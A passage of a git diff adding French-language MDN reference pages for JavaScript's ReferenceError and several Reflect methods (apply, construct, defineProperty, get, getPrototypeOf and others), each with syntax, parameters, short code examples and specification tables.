+ +

L'objet ReferenceError représente une erreur qui se produit lorsqu'il est fait référence à une variable qui n'existe pas.

+ +

Syntaxe

+ +
new ReferenceError([message[, nomFichier[, numLigne]]])
+ +

Paramètres

+ +
+
message
+
Paramètre optionnel. Une description de l'erreur, lisible par un être humain.
+
nomFichier {{Non-standard_inline}}
+
Paramètre optionnel. Le nom du fichier qui contient le code à l'origine de l'exception.
+
numLigne {{Non-standard_inline}}
+
Paramètre optionnel. Le numéro de ligne dans le fichier qui contient le code à l'origine de l'exception.
+
+ +

Description

+ +

Une exception ReferenceError est lancée quand on tente de faire référence à une variable qui n'a pas été déclarée.

+ +

Propriétés

+ +
+
{{jsxref("ReferenceError.prototype")}}
+
Cette propriété permet d'ajouter des propriétés à un objet ReferenceError.
+
+ +

Méthodes

+ +

L'objet global ReferenceError ne contient aucune méthode qui lui soit propre. En revanche, il hérite de certaines méthodes via l'héritage et sa chaîne de prototypes.

+ +

Instances de ReferenceError

+ +

Propriétés

+ +
{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/ReferenceError/prototype','Properties')}}
+ +

Méthodes

+ +
{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/ReferenceError/prototype','M.C3.A9thodes')}}
+ +

Exemples

+ +

Intercepter une exception ReferenceError

+ +
try {
+  var a = variableNonDéfinie;
+} catch (e) {
+  console.log(e instanceof ReferenceError); // true
+  console.log(e.message);                   // "variableNonDéfinie is not defined"
+  console.log(e.name);                      // "ReferenceError"
+  console.log(e.fileName);                  // "Scratchpad/1"
+  console.log(e.lineNumber);                // 2
+  console.log(e.columnNumber);              // 6
+  console.log(e.stack);                     // "@Scratchpad/2:2:7\n"
+}
+ +

Créer une exception ReferenceError

+ +
try {
+  throw new ReferenceError('Bonjour', 'unFichier.js', 10);
+} catch (e) {
+  console.log(e instanceof ReferenceError); // true
+  console.log(e.message);                   // "Bonjour"
+  console.log(e.name);                      // "ReferenceError"
+  console.log(e.fileName);                  // "unFichier.js"
+  console.log(e.lineNumber);                // 10
+  console.log(e.columnNumber);              // 0
+  console.log(e.stack);                     // "@Scratchpad/2:2:9\n"
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.6.3', 'ReferenceError')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-referenceerror', 'ReferenceError')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-referenceerror', 'ReferenceError')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.ReferenceError")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Error")}}
    • +
  • {{jsxref("ReferenceError.prototype")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/reflect/apply/index.html b/files/fr/web/javascript/reference/global_objects/reflect/apply/index.html new file mode 100644 index 0000000000..b6f27bc995 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/reflect/apply/index.html @@ -0,0 +1,100 @@ +--- +title: Reflect.apply() +slug: Web/JavaScript/Reference/Objets_globaux/Reflect/apply +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Reference + - Reflect +translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/apply +--- +
{{JSRef}}
+ +

La méthode statique Reflect.apply() permet d'appeler une fonction cible avec des arguments donnés.

+ +
{{EmbedInteractiveExample("pages/js/reflect-apply.html")}}
+ + + +

Syntaxe

+ +
Reflect.apply(cible, argumentThis, listeArguments)
+
+ +

Paramètres

+ +
+
cible
+
La fonction cible à appeler.
+
argumentThis
+
La valeur fournie pour this lors de l'appel à cible.
+
listeArguments
+
Un objet semblable à un tableau qui définit les arguments à passer à cible. S'il vaut {{jsxref("null")}} ou {{jsxref("undefined")}}, aucun argument ne sera passé.
+
+ +

Valeur de retour

+ +

Le résultat de l'appel de la fonction cible indiquée avec la valeur this et les arguments indiqués.

+ +

Exceptions levées

+ +

Une exception {{jsxref("TypeError")}}, si cible ne peut pas être appelée.

+ +

Description

+ +

Avec ES5, on utilise généralement {{jsxref("Function.prototype.apply()")}} pour appeler une fonction avec une valeur this donnée et des arguments donnés.

+ +
Function.prototype.apply.call(Math.floor, undefined, [1.75]);
+ +

Reflect.apply permet de rendre cela plus concis et facile à comprendre.

+ +

Exemples

+ +
Reflect.apply(Math.floor, undefined, [1.75]);
+// 1;
+
+Reflect.apply(String.fromCharCode, undefined, [104, 101, 108, 108, 111]);
+// "hello"
+
+Reflect.apply(RegExp.prototype.exec, /ab/, ["confabulation"]).index;
+// 4
+
+Reflect.apply("".charAt, "poneys", [3]);
+// "e"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.apply', 'Reflect.apply')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect.apply', 'Reflect.apply')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Reflect.apply")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Reflect")}}
    • +
  • {{jsxref("Function.prototype.apply()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/reflect/comparing_reflect_and_object_methods/index.html b/files/fr/web/javascript/reference/global_objects/reflect/comparing_reflect_and_object_methods/index.html new file mode 100644 index 0000000000..2c8844e085 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/reflect/comparing_reflect_and_object_methods/index.html @@ -0,0 +1,99 @@ +--- +title: Comparaison entre Reflect et les méthodes d'Object +slug: >- + Web/JavaScript/Reference/Objets_globaux/Reflect/Comparaison_entre_Reflect_et_les_méthodes_Object +tags: + - Aperçu + - Intermédiaire + - JavaScript + - Object + - Reflect +translation_of: >- + Web/JavaScript/Reference/Global_Objects/Reflect/Comparing_Reflect_and_Object_methods +--- +
{{jssidebar}}
+ +

L'objet {{jsxref("Reflect")}}, introduit avec ES2015, est un objet natif fournissant des méthodes pour s'interfacer avec les objets JavaScript. Certaines fonctions statiques de Reflect ont une correspondance avec les méthodes fournies par {{jsxref("Object")}} et disponibles avant ES2015. Bien que ces méthodes aient un comportement similaire, il y a souvent de subtiles différences entre elles.

+ +

Dans ce tableau, nous énumérons les différences entre les méthodes disponibles avec Object et Reflect. Si une méthode n'existe pas dans le cas indiqué, elle sera notée N/A.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Nom de la méthodeObjectReflect
defineProperty(){{jsxref("Object.defineProperty()")}} renvoie l'objet qui a été passé à la fonction. Déclenche une exception TypeError si la propriété n'a pu être définie sur l'objet.{{jsxref("Reflect.defineProperty()")}} renvoie true si la propriété a été définie sur l'objet et false sinon.
defineProperties(){{jsxref("Object.defineProperties()")}} renvoie les objets passés à la fonction. Déclenche une exception TypeError si une des propriétés n'a pu être définie.N/A
set()N/A{{jsxref("Reflect.set()")}} renvoie true si la propriété a été définie sur l'objet et false sinon. Déclenche une exception TypeError si la cible n'était pas un Object.
get()N/A{{jsxref("Reflect.get()")}} renvoie la valeur de la propriété. Déclenche une exception TypeError si la cible n'était pas un Object.
deleteProperty()N/A{{jsxref("Reflect.deleteProperty()")}} renvoie true si la propriété a été supprimée de l'objet et false sinon.
getOwnPropertyDescriptor(){{jsxref("Object.getOwnPropertyDescriptor()")}} renvoie un descripteur de la propriété si elle existe sur l'objet passé en argument. Si la propriété n'existe pas, la méthode renvoie undefined. Si la valeur passée en premier argument n'est pas un objet, elle sera automatiquement convertie en un objet.{{jsxref("Reflect.getOwnPropertyDescriptor()")}} renvoie un descripteur de la propriété si elle existe sur l'objet et undefined si elle n'existe pas. Déclenche une exception TypeError si la valeur passée en premier argument n'est pas un objet.
getOwnPropertyDescriptors(){{jsxref("Object.getOwnPropertyDescriptors()")}} renvoie un objet contenant un descripteur de propriété pour chaque objet passé en argument. Renvoie un objet vide si l'objet passé en argument ne contient pas les descripteurs.N/A
getPrototypeOf(){{jsxref("Object.getPrototypeOf()")}} renvoie le prototype de l'objet fourni. Renvoie null s'il n'y a pas de propriétés héritées. En ES5, déclenche une exception TypeError pour les valeurs qui ne sont pas des objets (pour ES6 et ensuite, les valeurs sont converties en objet).{{jsxref("Reflect.getPrototypeOf()")}} renvoie le prototype de l'objet fourni. Renvoie null s'il n'y a pas de propriétés héritées et déclenche une exception TypeError pour les valeurs qui ne sont pas des objets.
setPrototypeOf(){{jsxref("Object.setPrototypeOf()")}} renvoie l'objet fourni si le prototype a pu être défini. Déclenche une exception TypeError si le prototype utilisé n'était pas un objet ou null ou si le prototype de l'objet à modifier n'est pas extensible.{{jsxref("Reflect.setPrototypeOf()")}} renvoie true si le prototype a pu être défini sur l'objet et false sinon (y compris lorsque le prototype n'est pas extensible). Déclenche une exception TypeError si la cible passée n'est pas un objet ou si le prototype à appliquer n'est pas un objet ou n'est pas null.
isExtensible(){{jsxref("Object.isExtensible()")}} renvoie true si l'objet est extensible et false sinon. En ES5, déclenche une exception TypeError si le premier argument fourni n'est pas un objet. Avec ES6 et ensuite, si l'argument fourni est une valeur primitive, il est converti en un objet non-extensible et la méthode renvoie donc false. +

{{jsxref("Reflect.isExtensible()")}} renvoie true si l'objet est extensible et false sinon. Déclenche une exception TypeError si le premier argument n'est pas un objet.

+
preventExtensions() +

{{jsxref("Object.preventExtensions()")}} renvoie l'objet qui a été rendu non-extensible. En ES5, déclenche une exception si l'argument n'est pas un objet. Avec ES6 et ensuite, si l'argument fourni est une valeur primitive, il est converti en un objet non-extensible et c'est cette valeur qui est renvoyée.

+ 		{{jsxref("Reflect.preventExtensions()")}} renvoie true si l'objet a été rendu non-extensible et false sinon. Déclenche une exception TypeError si l'argument n'est pas un objet.
keys(){{jsxref("Object.keys()")}} renvoie un tableau de chaînes de caractères qui sont les noms des propriétés propres (et énumérables) de l'objet. En ES5, déclenche une exception TypeError si la cible n'est pas un objet. Avec ES6 et les versions suivantes, les valeurs primitives sont converties en objets.N/A
ownKeys()N/A{{jsxref("Reflect.ownKeys()")}} renvoie un tableau des noms des propriétés pour les clés des propriétés propres de de l'objet. Déclenche une exception TypeError si la cible n'est pas un objet.
diff --git a/files/fr/web/javascript/reference/global_objects/reflect/construct/index.html b/files/fr/web/javascript/reference/global_objects/reflect/construct/index.html new file mode 100644 index 0000000000..9f61844a66 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/reflect/construct/index.html @@ -0,0 +1,163 @@ +--- +title: Reflect.construct() +slug: Web/JavaScript/Reference/Objets_globaux/Reflect/construct +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Reference + - Reflect +translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/construct +--- +
{{JSRef}}
+ +

La méthode statique Reflect.construct() agit comme l'opérateur new sous la forme d'une fonction. Elle est équivalente à new cible(...args) et permet d'indiquer un prototype différent.

+ +
{{EmbedInteractiveExample("pages/js/reflect-construct.html")}}
+ + + +

Syntaxe

+ +
Reflect.construct(cible, listeArguments[, newCible])
+
+ +

Paramètres

+ +
+
cible
+
La fonction cible à appeler.
+
listeArguments
+
Un objet semblable à un tableau définissant les arguments à passer à cible lors de l'appel. Utiliser {{jsxref("null")}} ou {{jsxref("undefined")}} si aucun argument ne doit être fourni à la fonction.
+
newCible {{optional_inline}}
+
Le constructeur dont le prototype devrait être utilisé. Voir également l'opérateur new.target. Si newCible n'est pas présent, c'est cible qui sera utilisé.
+
+ +

Valeur de retour

+ +

Un nouvelle instance de la cible indiquée, créée en l'appelant comme un constructeur (ou en appelant newCible si elle est fournie) avec les arguments fournis.

+ +

Exceptions levées

+ +

Une exception {{jsxref("TypeError")}} si cible ou newCible ne sont pas des constructeurs.

+ +

Description

+ +

Reflect.construct() permet d'appeler un constructeur avec un nombre d'arguments variable (ce qui peut également être fait avec l'opérateur de décomposition et l'opérateur new).

+ +
var obj = new Toto(...args);
+var obj = Reflect.construct(Toto, args);
+ +

Exemples

+ +

Utiliser Reflect.construct()

+ +
var d = Reflect.construct(Date, [1776, 6, 4]);
+d instanceof Date; // true
+d.getFullYear(); // 1776
+
+ +

Utiliser le paramètre newCible

+ +

Pour plus d'informations sur la création de sous-classes, voir les classes et l'opérateur new.target.

+ +
function unConstructeur() {}
+var résultat = Reflect.construct(Array, [], unConstructeur);
+
+Reflect.getPrototypeOf(résultat); // unConstructeur.prototype
+Array.isArray(résultat); // true
+
+ +

Une comparaison entre Reflect.construct() et Object.create()

+ +

Avant l'apparition de Reflect, on pouvait construire des objets avec une combinaison donnée de consttructeur et de prototype grâce à {{jsxref("Object.create()")}}.

+ +
function MaClasseA() {
+  this.name = 'A';
+}
+
+function MaClasseB() {
+  this.name = 'B';
+}
+
+// Avec cette instruction :
+var obj1 = Reflect.construct(MaClasseA, args, MaClasseB);
+
+// on aura le même résultat qu'avec
+var obj2 = Object.create(MaClasseB.prototype);
+MaClasseA.apply(obj2, args);
+
+console.log(obj1.name); // 'A'
+console.log(obj2.name); // 'A'
+
+console.log(obj1 instanceof MaClasseA); // false
+console.log(obj2 instanceof MaClasseA); // false
+
+console.log(obj1 instanceof MaClasseB); // true
+console.log(obj2 instanceof MaClasseB); // true
+
+ +

Toutefois, si les résultats sont identiques, il y a une différence notable. Lorsqu'on utilise Object.create() et Function.prototype.apply(), l'opérateur new.target pointe vers undefined dans la fonction utilisée comme constructeur car le mot-clé new n'est pas utilisé à la création de l'objet.

+ +

Mais quand on appelle Reflect.construct(), new.target pointe vers la valeur fournie par newCible si ce dernier est fourni ou vers cible sinon.

+ +
function MaClasseA() {
+  console.log('MaClasseA');
+  console.log(new.target);
+}
+function MaClasseB() {
+  console.log('MaClasseB');
+  console.log(new.target);
+}
+
+var obj1 = Reflect.construct(MaClasseA, args);
+// Résultat :
+//   MaClasseA
+//   function MaClasseA { ... }
+
+var obj2 = Reflect.construct(MaClasseA, args, MaClasseB);
+// Résultat :
+//   MaClasseA
+//   function MaClasseB { ... }
+
+var obj3 = Object.create(MaClasseB.prototype);
+MaClasseA.apply(obj3, args);
+// Résultat :
+//     MaClasseA
+//     undefined
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.construct', 'Reflect.construct')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect.construct', 'Reflect.construct')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Reflect.construct")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/reflect/defineproperty/index.html b/files/fr/web/javascript/reference/global_objects/reflect/defineproperty/index.html new file mode 100644 index 0000000000..71d6e6b60f --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/reflect/defineproperty/index.html @@ -0,0 +1,100 @@ +--- +title: Reflect.defineProperty() +slug: Web/JavaScript/Reference/Objets_globaux/Reflect/defineProperty +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Reference + - Reflect +translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/defineProperty +--- +
{{JSRef}}
+ +

La méthode statique Reflect.defineProperty() est semblable à {{jsxref("Object.defineProperty()")}} mais renvoie un {{jsxref("Boolean")}}.

+ +
{{EmbedInteractiveExample("pages/js/reflect-defineproperty.html")}}
+ + + +

Syntaxe

+ +
Reflect.defineProperty(cible, cléPropriété, attributs)
+
+ +

Paramètres

+ +
+
cible
+
L'objet cible sur lequel on veut définir la propriété.
+
cléPropriété
+
Le nom de la propriété qu'on souhaite définir ou modifier.
+
attributs
+
Les attributs de de la propriété qu'on ajoute ou qu'on modifie.
+
+ +

Valeur de retour

+ +

Un {{jsxref("Boolean","booléen","",1)}} qui indique si la propriété a bien été définie.

+ +

Exceptions

+ +

Une erreur {{jsxref("TypeError")}} si cible n'est pas un {{jsxref("Object")}}.

+ +

Description

+ +

La méthode Reflect.defineProperty permet d'ajouter ou de modifier finement une propriété d'un objet. Pour plus de détails, voir la méthode {{jsxref("Object.defineProperty")}} qui est très similaire. Object.defineProperty renvoie l'objet et lève une {{jsxref("TypeError")}} si la propriété n'a pas correctement été définie. Reflect.defineProperty renvoie simplement un {{jsxref("Boolean")}} qui indique si la propriété a été définie avec succès ou non.

+ +

Exemples

+ +

Utiliser Reflect.defineProperty()

+ +
var obj = {};
+Reflect.defineProperty(obj, "x", {value: 7}); // true
+obj.x; // 7
+
+ +

Vérifier si la définition de propriété a réussi

+ +

{{jsxref("Object.defineProperty")}} renvoie un objet si la définition a réussi ou lève une exception {{jsxref("TypeError")}} sinon, ce qui implique d'utiliser un bloc try...catch pour attraper l'erreur. Reflect.defineProperty renvoie un booléen pour indiquer la réussite ou l'échec, un bloc if...else suffit :

+ +
if (Reflect.defineProperty(cible, propriété, attributs)) {
+  // succès
+} else {
+  // échec
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.defineproperty', 'Reflect.defineProperty')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect.defineproperty', 'Reflect.defineProperty')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Reflect.defineProperty")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Reflect")}}
    • +
  • {{jsxref("Object.defineProperty()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/reflect/deleteproperty/index.html b/files/fr/web/javascript/reference/global_objects/reflect/deleteproperty/index.html new file mode 100644 index 0000000000..f5ba3abedc --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/reflect/deleteproperty/index.html @@ -0,0 +1,96 @@ +--- +title: Reflect.deleteProperty() +slug: Web/JavaScript/Reference/Objets_globaux/Reflect/deleteProperty +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Reference + - Reflect +translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/deleteProperty +--- +
{{JSRef}}
+ +

La méthode statique Reflect.deleteProperty() permet de supprimer des propriétés. Il agit comme l'opérateur delete.

+ +
{{EmbedInteractiveExample("pages/js/reflect-deleteproperty.html", "taller")}}
+ + + +

Syntaxe

+ +
Reflect.deleteProperty(cible, cléPropriété)
+
+ +

Paramètres

+ +
+
cible
+
L'objet cible sur lequel on souhaite supprimer la propriété.
+
cléPropriété
+
Le nom de la propriété à supprimer.
+
+ +

Valeur de retour

+ +

Un {{jsxref("Boolean","booléen","",1)}} qui indique si la suppression de la propriété s'est bien passée.

+ +

Exceptions

+ +

Une erreur {{jsxref("TypeError")}} si cible n'est pas un {{jsxref("Object")}}.

+ +

Description

+ +

La méthode Reflect.deleteProperty permet de supprimer une propriété d'un objet. Elle renvoie un {{jsxref("Boolean")}} qui indique si la propriété a été supprimée correctement. Cette méthode est très proche de l'opérateur delete.

+ +

Exemples

+ +
var obj = { x: 1, y: 2 };
+Reflect.deleteProperty(obj, "x"); // true
+obj; // { y: 2 }
+
+var arr = [1, 2, 3, 4, 5];
+Reflect.deleteProperty(arr, "3"); // true
+arr; // [1, 2, 3, , 5]
+
+// Renvoie true si aucune propriété correspondante n'existe
+Reflect.deleteProperty({}, "toto"); // true
+
+// Renvoie false si une propriété n'est pas configurable
+Reflect.deleteProperty(Object.freeze({toto: 1}),"toto"); // false
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.deleteproperty', 'Reflect.deleteProperty')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect.deleteproperty', 'Reflect.deleteProperty')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Reflect.deleteProperty")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/reflect/get/index.html b/files/fr/web/javascript/reference/global_objects/reflect/get/index.html new file mode 100644 index 0000000000..8538b87538 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/reflect/get/index.html @@ -0,0 +1,98 @@ +--- +title: Reflect.get() +slug: Web/JavaScript/Reference/Objets_globaux/Reflect/get +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Reference + - Reflect +translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/get +--- +
{{JSRef}}
+ +

La méthode statique Reflect.get() est une fonction qui permet d'obtenir une propriété d'un objet cible. Elle fonctionne comme (cible[cléPropriété]) mais sous la forme d'une fonction.

+ +
{{EmbedInteractiveExample("pages/js/reflect-get.html")}}
+ + + +

Syntaxe

+ +
Reflect.get(cible, cléPropriété[, récepteur])
+
+ +

Paramètres

+ +
+
cible
+
L'objet cible dont on souhaite obtenir la propriété.
+
cléPropriété
+
Le nom de la propriété qu'on souhaite obtenir.
+
récepteur {{optional_inline}}
+
La valeur de this à passer à cible si l'accesseur est utilisé. Lorsqu'on l'utilise avec {{jsxref("Proxy")}}, ce peut être un objet qui hérite de la cible.
+
+ +

Valeur de retour

+ +

La valeur de la propriété.

+ +

Exceptions

+ +

Une erreur {{jsxref("TypeError")}} si cible n'est pas un {{jsxref("Object")}}.

+ +

Description

+ +

La méthode Reflect.get permet d'obtenir une propriété d'un objet. Elle est équivalent à un accesseur de propriété mais sous la forme d'une fonction.

+ +

Exemples

+ +
// Object
+var obj = { x: 1, y: 2 };
+Reflect.get(obj, "x"); // 1
+
+// Array
+Reflect.get(["zero", "un"], 1); // "un"
+
+// Proxy qui intercepte get
+var x = {p: 1};
+var obj = new Proxy(x, {
+  get(t, k, r) { return k + "truc"; }
+});
+Reflect.get(obj, "toto"); // "tototruc"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.get', 'Reflect.get')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-reflect.get', 'Reflect.get')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Reflect.get")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/reflect/getownpropertydescriptor/index.html b/files/fr/web/javascript/reference/global_objects/reflect/getownpropertydescriptor/index.html new file mode 100644 index 0000000000..77db7ad5e1 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/reflect/getownpropertydescriptor/index.html @@ -0,0 +1,103 @@ +--- +title: Reflect.getOwnPropertyDescriptor() +slug: Web/JavaScript/Reference/Objets_globaux/Reflect/getOwnPropertyDescriptor +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Reference + - Reflect +translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/getOwnPropertyDescriptor +--- +
{{JSRef}}
+ +

La méthode statique Reflect.getOwnPropertyDescriptor() est similaire à {{jsxref("Object.getOwnPropertyDescriptor()")}}. Elle renvoie un descripteur de propriété pour la propriété visée si elle existe sur l'objet, sinon, elle renvoie {{jsxref("undefined")}}.

+ +
{{EmbedInteractiveExample("pages/js/reflect-getownpropertydescriptor.html")}}
+ + + +

Syntaxe

+ +
Reflect.getOwnPropertyDescriptor(cible, cléPropriété)
+
+ +

Paramètres

+ +
+
cible
+
L'objet cible sur lequel on cherche la propriété.
+
cléPropriété
+
Le nom de la propriété dont on veut obtenir le descripteur.
+
+ +

Valeur de retour

+ +

Un objet qui est un descripteur de propriété si elle existe sur l'objet cible ou {{jsxref("undefined")}} dans le cas contraire.

+ +

Exceptions

+ +

Une erreur {{jsxref("TypeError")}} si cible n'est pas un {{jsxref("Object")}}.

+ +

Description

+ +

La méthode Reflect.getOwnPropertyDescriptor renvoie un descripteur pour la propriété demandée si celle-ci existe sur l'objet, sinon, elle renvoie {{jsxref("undefined")}}. La seule différence avec {{jsxref("Object.getOwnPropertyDescriptor()")}} est la façon dont les cibles qui ne sont pas des objets sont gérées.

+ +

Exemples

+ +

Utiliser Reflect.getOwnPropertyDescriptor()

+ +
Reflect.getOwnPropertyDescriptor({x: "coucou"}, "x");
+// {value: "coucou", writable: true, enumerable: true, configurable: true}
+
+Reflect.getOwnPropertyDescriptor({x: "coucou"}, "y");
+// undefined
+
+Reflect.getOwnPropertyDescriptor([], "length");
+// {value: 0, writable: true, enumerable: false, configurable: false}
+
+ +

Différence avec Object.getOwnPropertyDescriptor()

+ +

Si le premier argument passé à la méthode n'est pas un objet (autrement dit si c'est une valeur de type primitif), cela causera une exception {{jsxref("TypeError")}}. Si on utilise {{jsxref("Object.getOwnPropertyDescriptor")}}, une valeur qui n'est pas un objet sera d'abord convertie en objet.

+ +
Reflect.getOwnPropertyDescriptor("toto", 0);
+// TypeError: "toto" is not non-null object
+
+Object.getOwnPropertyDescriptor("toto", 0);
+// { value: "toto", writable: false, enumerable: true, configurable: false }
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.getownpropertydescriptor', 'Reflect.getOwnPropertyDescriptor')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect.getownpropertydescriptor', 'Reflect.getOwnPropertyDescriptor')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Reflect.getOwnPropertyDescriptor")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Reflect")}}
    • +
  • {{jsxref("Object.getOwnPropertyDescriptor()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/reflect/getprototypeof/index.html b/files/fr/web/javascript/reference/global_objects/reflect/getprototypeof/index.html new file mode 100644 index 0000000000..c59fff975a --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/reflect/getprototypeof/index.html @@ -0,0 +1,106 @@ +--- +title: Reflect.getPrototypeOf() +slug: Web/JavaScript/Reference/Objets_globaux/Reflect/getPrototypeOf +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Reference + - Reflect +translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/getPrototypeOf +--- +
{{JSRef}}
+ +

La méthode statique Reflect.getPrototypeOf() est semblable à la méthode {{jsxref("Object.getPrototypeOf()")}}. Elle renvoie le prototype (c'est-à-dire la valeur de la propriété interne [[Prototype]]) de l'objet donné.

+ +
{{EmbedInteractiveExample("pages/js/reflect-getprototypeof.html")}}
+ + + +

Syntaxe

+ +
Reflect.getPrototypeOf(cible)
+
+ +

Paramètres

+ +
+
cible
+
L'objet cible dont on souhaite obtenir le prototype.
+
+ +

Valeur de retour

+ +

Le prototype de l'objet ou {{jsxref("null")}} s'il n'y a aucune propriété héritée.

+ +

Exceptions levées

+ +

Une erreur {{jsxref("TypeError")}} si cible n'est pas un {{jsxref("Object")}}.

+ +

Description

+ +

La méthode Reflect.getPrototypeOf renvoie le prototype (qui correspond en réalité à la valeur de la propriété interne [[Prototype]]) de l'objet passé en argument.

+ +

Exemples

+ +

Utiliser Reflect.getPrototypeOf()

+ +
Reflect.getPrototypeOf({}); // Object.prototype
+Reflect.getPrototypeOf(Object.prototype); // null
+Reflect.getPrototypeOf(Object.create(null)); // null
+
+ +

Comparaison avec Object.getPrototypeOf()

+ +
// Résultat identiques pour les objets
+Object.getPrototypeOf({});  // Object.prototype
+Reflect.getPrototypeOf({}); // Object.prototype
+
+// Exception levée avec ES5 pour les valeurs qui ne sont pas des objets
+Object.getPrototypeOf('toto');  // Throws TypeError
+Reflect.getPrototypeOf('toto'); // Throws TypeError
+
+// Avec ES2015 (ES6), seul Reflect lève une exception
+// Object convertit automatiquement les valeurs en objets
+Object.getPrototypeOf('toto');  // String.prototype
+Reflect.getPrototypeOf('toto'); // Throws TypeError
+
+// Pour obtenir le même effet qu'avec Object en ES2015, il
+// faut ajouter une opération de conversion explicite
+Reflect.getPrototypeOf(Object('toto')); // String.prototype
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.getprototypeof', 'Reflect.getPrototypeOf')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect.getprototypeof', 'Reflect.getPrototypeOf')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Reflect.getPrototypeOf")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Reflect")}}
    • +
  • {{jsxref("Object.getPrototypeOf()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/reflect/has/index.html b/files/fr/web/javascript/reference/global_objects/reflect/has/index.html new file mode 100644 index 0000000000..66b230f065 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/reflect/has/index.html @@ -0,0 +1,96 @@ +--- +title: Reflect.has() +slug: Web/JavaScript/Reference/Objets_globaux/Reflect/has +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Reference + - Reflect +translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/has +--- +
{{JSRef}}
+ +

La méthode statique Reflect.has() fonctionne comme l'opérateur in mais sous forme d'une fonction.

+ +
{{EmbedInteractiveExample("pages/js/reflect-has.html")}}
+ + + +

Syntaxe

+ +
Reflect.has(cible, cléPropriété)
+
+ +

Paramètres

+ +
+
cible
+
L'objet cible dont on souhaite savoir s'il contient la propriété donnée.
+
cléPropriété
+
Le nom de la propriété dont on souhaite vérifier la présence.
+
+ +

Valeur de retour

+ +

